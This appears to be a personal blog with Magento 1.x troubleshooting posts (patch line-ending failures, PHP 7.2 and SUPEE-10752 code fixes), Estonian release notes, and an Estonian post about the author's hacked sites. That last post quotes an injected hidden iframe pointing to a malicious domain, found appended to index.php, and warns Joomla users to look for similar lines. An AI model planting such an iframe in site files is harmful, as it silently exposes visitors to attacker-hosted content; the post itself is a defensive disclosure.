pronto.ee

Tomorrow will be cancelled due to lack of interest

SUPEE-11155: Hunk #1 FAILED at 483

Magento

While applying SUPEE-11155 to Magento 1.x there’s a good chance that you will run into something like this one:

checking file js/tiny_mce/plugins/media/js/media.js
Hunk #1 FAILED at 483 (different line endings).
1 out of 1 hunk FAILED

Inspecting both the file mentioned and the relevant diff inside the patch leaves impression that everything is OK, however the problem still persists. Wtf?

This problem is almost certainly caused by Git replacing Windows line endings (\r\n) with the ones used by pretty much the rest of the world (\n). Tiny MCE media.js file for some reason uses Windows line endings (unlike other parts of Magento) and the patch expect it to be like this. However quite often Git systems are configured to convert line endings and thus the patching will fail with the message above.

Easiest way to to fix it is to use vim. Open patch file with vim and find the diff used to update media.js. To do it type (slash means search):

/media.js  

Once there enter:

:set list

This command enables displaying of whitespace characters. You will notice that media.js rows in patch file end with ^M (Carriage Return). Remove those, save and run the patch again. Everything should work just fine now.

Upgrading to Magento 1.9.4.0, PHP 7.2 compatibility problem

Magento
Magento

Magento 1.9.4.0 should support PHP 7.2 and fortunately it mostly does. However there’s an upgrade script from older Magento versions which, lets say, has room for improvements.

When your original Magento is old enough (I tested it on Magento 1.7.0.2) the process will throw following error message:

Fatal error: Uncaught Error: [] operator not supported for strings in /magento-path/app/code/core/Mage/Usa/sql/usa_setup/upgrade-1.6.0.1-1.6.0.2.php on line 93
( ! ) Error: [] operator not supported for strings in /magento-path/app/code/core/Mage/Usa/sql/usa_setup/upgrade-1.6.0.1-1.6.0.2.php on line 93

The culprit of the message above is here:

    $newValue = '';
    if (stripos($oldValue['path'], 'free_method') && isset($oldToNewMethodCodesMap[$oldValue['value']])) {
        $newValue = $oldToNewMethodCodesMap[$oldValue['value']];
    } else if (stripos($oldValue['path'], 'allowed_methods')) {
        foreach (explode(',', $oldValue['value']) as $shippingMethod) {
            if (isset($oldToNewMethodCodesMap[$shippingMethod])) {
                $newValue[] = $oldToNewMethodCodesMap[$shippingMethod];
            }
        }
        $newValue = implode($newValue, ',');
    } else {
        continue;
    }

As you can see $newValue is declared as a string and almost immediately expected to be an array (provided that conditions are right). No good. Simplest way to resolve it is to redeclare it as an array when it happens:

    $newValue = '';
    if (stripos($oldValue['path'], 'free_method') && isset($oldToNewMethodCodesMap[$oldValue['value']])) {
        $newValue = $oldToNewMethodCodesMap[$oldValue['value']];
    } else if (stripos($oldValue['path'], 'allowed_methods')) {
        $newValue = [];
        foreach (explode(',', $oldValue['value']) as $shippingMethod) {
            if (isset($oldToNewMethodCodesMap[$shippingMethod])) {
                $newValue[] = $oldToNewMethodCodesMap[$shippingMethod];
            }
        }
        $newValue = implode($newValue, ',');
    } else {
        continue;
    }

Magento: SUPEE-10752 v1 breaks Zend_Filter_PregReplace

There’s a chance that after installing SUPEE-10752v1 you might run into following error message:

Warning: substr() expects parameter 1 to be string, array given in /magento_root/app/code/core/Zend/Filter/PregReplace.php on line 173


This file was introduced as a part of SUPEE-10752v1 patch and it adds some deprecation modifier checks:

    /**
     * Perform regexp replacement as filter
     *
     * @param  string $value
     * @return string
     */
    public function filter($value)
    {
        if ($this->_matchPattern == null) {
            #require_once 'Zend/Filter/Exception.php';
            throw new Zend_Filter_Exception(get_class($this) . ' does not have a valid MatchPattern set.');
        }
        $firstDilimeter = substr($this->_matchPattern, 0, 1);
        $partsOfRegex = explode($firstDilimeter, $this->_matchPattern);
        $modifiers = array_pop($partsOfRegex);
        if ($modifiers != str_replace('e', '', $modifiers)) {
            throw new Zend_Filter_Exception(get_class($this) . ' uses deprecated modifier "/e".');
        }

        return preg_replace($this->_matchPattern, $this->_replacement, $value);
    }

It’s an override of lib/Zend/Filter/PregReplace.php and the original looks like this:

    /**
     * Perform regexp replacement as filter
     *
     * @param  string $value
     * @return string
     */
    public function filter($value)
    {
        if ($this->_matchPattern == null) {
            #require_once 'Zend/Filter/Exception.php';
            throw new Zend_Filter_Exception(get_class($this) . ' does not have a valid MatchPattern set.');
        }

        return preg_replace($this->_matchPattern, $this->_replacement, $value);
    }

As you can see, original method is indeed able to handle arrays while override is not. Objects such as lib/Zend/Filter/Word/CamelCaseToSeparator.php and lib/Zend/Filter/Word/SeparatorToCamelCase.php indeed use arrays for match patterns:

    public function filter($value)
    {
        if (self::isUnicodeSupportEnabled()) {
            parent::setMatchPattern(array('#(?<=(?:\p{Lu}))(\p{Lu}\p{Ll})#','#(?<=(?:\p{Ll}|\p{Nd}))(\p{Lu})#'));
            parent::setReplacement(array($this->_separator . '\1', $this->_separator . '\1'));
        } else {
            parent::setMatchPattern(array('#(?<=(?:[A-Z]))([A-Z]+)([A-Z][A-z])#', '#(?<=(?:[a-z0-9]))([A-Z])#'));
            parent::setReplacement(array('\1' . $this->_separator . '\2', $this->_separator . '\1'));
        }

        return parent::filter($value);
    }

While Magento itself does not use the things above some of the third party extension do, such as Ebizmarts_SagePaySuite (Zend_Filter_Word_CamelCaseToUnderscore extends Zend_Filter_Word_CamelCaseToSeparator), do. Here a sample code from app/code/local/Ebizmarts/SagePaySuite/Helper/Data.php:

    public function cameltounder($str)
    {
        $a = new Zend_Filter_Word_CamelCaseToUnderscore;

        return strtolower($a->filter($str));
    }

Solution:

Easiest way to solve this issue is to copy the file mentioned above (app/code/core/Zend/Filter/PregReplace.php) to app/code/local/Zend/Filter/PregReplace.php and replace the filter method with following:

    /**
     * Perform regexp replacement as filter
     *
     * @param string $value
     * @return string
     */
    public function filter($value)
    {
        if ($this->_matchPattern == null) {
            #require_once 'Zend/Filter/Exception.php';
            throw new Zend_Filter_Exception(get_class($this) . ' does not have a valid MatchPattern set.');
        }
        $patterns = array();
        if (is_array($this->_matchPattern)) {
            $patterns = $this->_matchPattern;
        } else {
            $patterns[] = $this->_matchPattern;
        }
        foreach($patterns as $pattern) {
            $firstDilimeter = substr($pattern, 0, 1);
            $partsOfRegex = explode($firstDilimeter, $pattern);
            $modifiers = array_pop($partsOfRegex);
            if ($modifiers != str_replace('e', '', $modifiers)) {
                throw new Zend_Filter_Exception(get_class($this) . ' uses deprecated modifier "/e".');
            }
        }
        return preg_replace($this->_matchPattern, $this->_replacement, $value);
}

I guess eventually there will be SUPEE-10752v2 which hopefully fixes this problem. Make sure to check/remove the local override when you install it.

PS. Everything above applies to Magento OS v1.9.3.9 as well.

Magento CE 1.9.0.1

Vaid kaks päeva pärast eelmise versiooni tulekut sai Magento täiendust ning värskeimaks numbriks tõusis 1.9.0.1. Uuendus parandab kaks väikest kuid väga olulist viga: esiteks ei saa klient enam ostukorvis kasutada mitte aktiivset kupongi ja teiseks väike parandus uuest responive kestas, mis pisemate ekraanide peal ei töötanud päris nii nagu oli plaanitud.

Magento CE 1.9.0

Magento

Magento

Seoses Las Vegases toimuva Imagin konverentsiga lasi Magento välja uue versiooni oma populaarsest e-poe platvormist mille tasuta variant kannab nüüd numbrit 1.9.0. Erinevalt kahest eelmisest versioonist (1.8.0 ja 1.8.1) sisaldas see päris mitut olulist muudatust. Vaatame, mida see uuendus endaga kaasa tõi.

PHP 5.4 tugi

Magento eelmine versioon tuli välja eelmise aasta detsembris. Selle aasta jaanuaris ilmus nendele lehele funktsionaalsuspaik, mis lubas lisada versioonidele alates 1.6.0 PHP 5.4 toe. Spetsialistide hinnangul sisaldab PHP 5.4 täiendusi, mis võivad kuni 28% kiirendada Magento kliendiliidest. Magento CE 1.9.0-le on see uuendus juba sisse ehitatud ning ainuüksi see täiendus võib olla argumendiks, miks korraline uuendustee ette võtta.

Piiriülene kaubandus

Täiendatud funktsionaalsus lihtsustab hindade ja maksude arvutamist piiriülese kabanduse puhul. Tegemist on täiendusega, mida päris mitmed e-poodnikud on nõudnud: võimalus jätta lõpphind kogu Euroopa Liidu sees samaks, kuigi erinevates riikides võivad olla maksumäärad erinevad.

PayPal

Ohtralt on lisandunud PayPaliga seotud uut funktsionaalsust, näiteks toetab Magento nüüd  funkctiooni nimega “Bill Me Later”, ehk maksa hiljem.

Sellega siiski uue funktsionaalsuse nimekiri ei lõppe ning lisaks kaasneb täiendusega hulgaliselt veaparandusi. Täpsemalt saab kõikidest uuendustest lugeda siit.

I got pwnd!

Joomla

Joomla

Kuradi raisakurat! Teate, alalõpmata kirjutatakse õudusjuttu sellest, kuidas üks või teine viirus kurja teeb ja kuidas üks või teine worm kuskil asju vasakule tõstab. Enamasti on need kirjutatud inimeste poolt, kes teavad sellistest asjadest kolmandate inimeste vahendusel ja kelle eesmärk on pakkuda põnevust inimestele, kes jutust aru ei saa. Samad inimesed kirjutavad lehtedesse ka seiklusjutte sellest, kuidas “Arctic Sea”-ga tiibrakette veetakse. Intrigeeriv, aga peaaegu alati ainult teoreetiline lugemine.

Täna siis märkasin, et millegipärast minu mõlemad Magento installatsioonid on käpa maha pannud veateatega, mis viitab justkui oleks programmikood vigane. Viskasin Magento index.php-le pilgu peale ja etskae: faili lõppu on tekkinud iseeneseslikult järgnev rida:

<iframe src="http://google-analyze.org/lib/index.php" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>

Paanika! Kiire otsing näitas, et tegemist on selge pahavaraga, mis kuidagi mu masinasse on pugenud ja seal oma valgustkartvaid tegusi sooritab. Edasine otsing viitas sellele, et suure tõenäosusega on tegemist ka SQL injectionist tingitud rünnakuga. Veelgi edasisem otsing tuvastas masinast mingil iidsel ajal sinna testimiseks üles pandud Joomla installatsiooni, mis osutuski ründevektori alguspunktiks.

Soovitus nüüd kõigile, kes Joomlat kasutavad. Vaadake, ega teil kusagil failides iframe-ga algavat rida ei ole, mida te ei mäleta sinna pannud olevat. See aadress, mis src sees on, võib olla teine, kuid suures plaanis peaks välimus umbes sama olema. Minu puhul jäi see muudatus vahele ainult Magento eripärade tõttu, enamustel jääkski see ilmselt kahe silma vahele. Joomla on meil üsna levinud tarkvara ja ma ei usu mitte, et igaüks viitsib oma installatsioone regulaarselt uuendada.

Update early, update often!